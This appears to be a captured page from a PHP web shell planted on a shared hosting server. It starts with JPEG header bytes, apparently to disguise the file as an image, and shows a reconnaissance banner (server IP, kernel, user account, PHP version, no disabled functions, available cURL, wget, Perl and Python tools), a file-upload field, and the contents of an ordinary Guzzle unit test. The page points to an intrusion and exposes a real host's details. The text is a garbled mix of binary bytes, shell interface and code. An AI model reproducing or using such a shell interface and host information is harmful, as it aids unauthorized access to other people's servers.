����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.218.10.21 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/vendor/guzzle/guzzle/tests/Guzzle/Tests/Http/Curl/ |
Upload File : |
<?php namespace Guzzle\Tests\Http\Curl; use Guzzle\Http\Curl\CurlVersion; /** * @covers Guzzle\Http\Curl\CurlVersion */ class CurlVersionTest extends \Guzzle\Tests\GuzzleTestCase { public function testCachesCurlInfo() { $info = curl_version(); $instance = CurlVersion::getInstance(); // Clear out the info cache $refObject = new \ReflectionObject($instance); $refProperty = $refObject->getProperty('version'); $refProperty->setAccessible(true); $refProperty->setValue($instance, array()); $this->assertEquals($info, $instance->getAll()); $this->assertEquals($info, $instance->getAll()); $this->assertEquals($info['version'], $instance->get('version')); $this->assertFalse($instance->get('foo')); } public function testIsSingleton() { $refObject = new \ReflectionClass('Guzzle\Http\Curl\CurlVersion'); $refProperty = $refObject->getProperty('instance'); $refProperty->setAccessible(true); $refProperty->setValue(null, null); $this->assertInstanceOf('Guzzle\Http\Curl\CurlVersion', CurlVersion::getInstance()); } }